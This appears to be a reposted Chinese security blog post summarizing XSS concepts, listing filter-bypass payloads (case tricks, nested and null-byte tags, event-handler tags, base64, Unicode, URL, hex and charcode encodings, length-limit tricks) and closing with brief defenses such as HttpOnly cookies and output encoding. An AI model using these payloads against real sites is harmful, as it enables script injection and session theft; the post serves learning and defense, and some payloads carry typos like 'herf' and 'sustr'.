xss原理繞過防護我的總結

時間 2020-07-25

標籤 xss 原理繞過防護我的總結欄目 JavaScript 简体版

原文原文鏈接

xss原理

xss產生的緣由是將惡意的html腳本代碼插入web頁面，底層原理和sql注入同樣，都是由於js和php等都是解釋性語言，會將輸入的當作命令執行,因此能夠注入惡意代碼執行咱們想要的內容javascript

xss分類

存儲型xss:
js腳本代碼會插入數據庫，具備必定的持久性
反射型xss:
js通過後端php等語言處理
dom型xss:
和反射型xss相似，可是不通過後端服務器的處理

xss繞過總結:

自身繞過

<script>alert('xss')</script>  //沒有過濾
<Script>alert('xss')</Script> //大小寫繞過
<scscriptript>alert('xss')</scscriptript> //嵌套繞過
<sc\x00ript>alert('xss')</sc\x00ript> //空字節繞過
" oonnclick=alert('XSS') //           //閉合單雙引號繞過(對於html實體輸入的和過濾< >)

其餘標籤繞過

<a herf="javascript:alert(1)">show</a> 
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>

編碼繞過

base64編碼繞過

<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

Unicode編碼繞過

在線編碼地址:http://tool.chinaz.com/tools/unicode.aspxphp

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<script>\u0061lert(1)</script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

url編碼繞過

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

Ascii碼繞過

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

可以使用瀏覽器插件快速編碼
html

hex繞過

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

十進制，八進制，十六進制

<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
<img src=x onerror=」&#x0061;lert(1)」/>
<img src=x onerror=」&#97;lert(1)」/>
<img src=x onerror=」eval(‘\a\l\ert(1)‘)」/>

補充:on事件

onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload

長度限制的繞過:

能夠利用事件如:

"onclick=alert(1)// 來減小字數

將代碼藏入location.hash中，構造爲

"onclick="eval(location.hash.sustr(1))

註釋將兩個文本框變爲一個

奇怪的符號解析

<svg/onload=alert()>
<script/src=//⑭.₨>

參考文章:https://nosec.org/home/detail/3206.htmljava

xss防護

設置cookie中設置httponly屬性，那麼js腳本將沒法讀取到cookie信息
PHP5(PHP5.2以上版本已支持HttpOnly參數的設置，一樣也支持全局的HttpOnly的設置，在php.ini中設置，設置其值爲1或者TRUE，來開啓全局的Cookie的HttpOnly屬性)
session.cookie_httponly =
固然代碼也能實現：
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
限制輸入長度，在業務內減小用戶能輸入長度，像年齡，用戶名等地方限制15個字符，幾乎就很難xss（我的理解）
過濾業務用不到的字符如< >，script等標籤字符
輸出檢查，輸出到url的進行URLEncode，輸出進行html實體化輸出
成熟框架相對安全些（注意是相對）

參考文章

深刻理解瀏覽器解析機制和XSS向量編碼：http://bobao.360.cn/learning/detail/292.html
XSS過濾繞過速查表：https://www.freebuf.com/articles/web/153055.html
《白帽子講web安全》
歡迎訪問個人我的博客：https://lmg66.github.io/
說明：本文僅限技術研究與討論，嚴禁用於非法用途，不然產生的一切後果自行承擔git

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。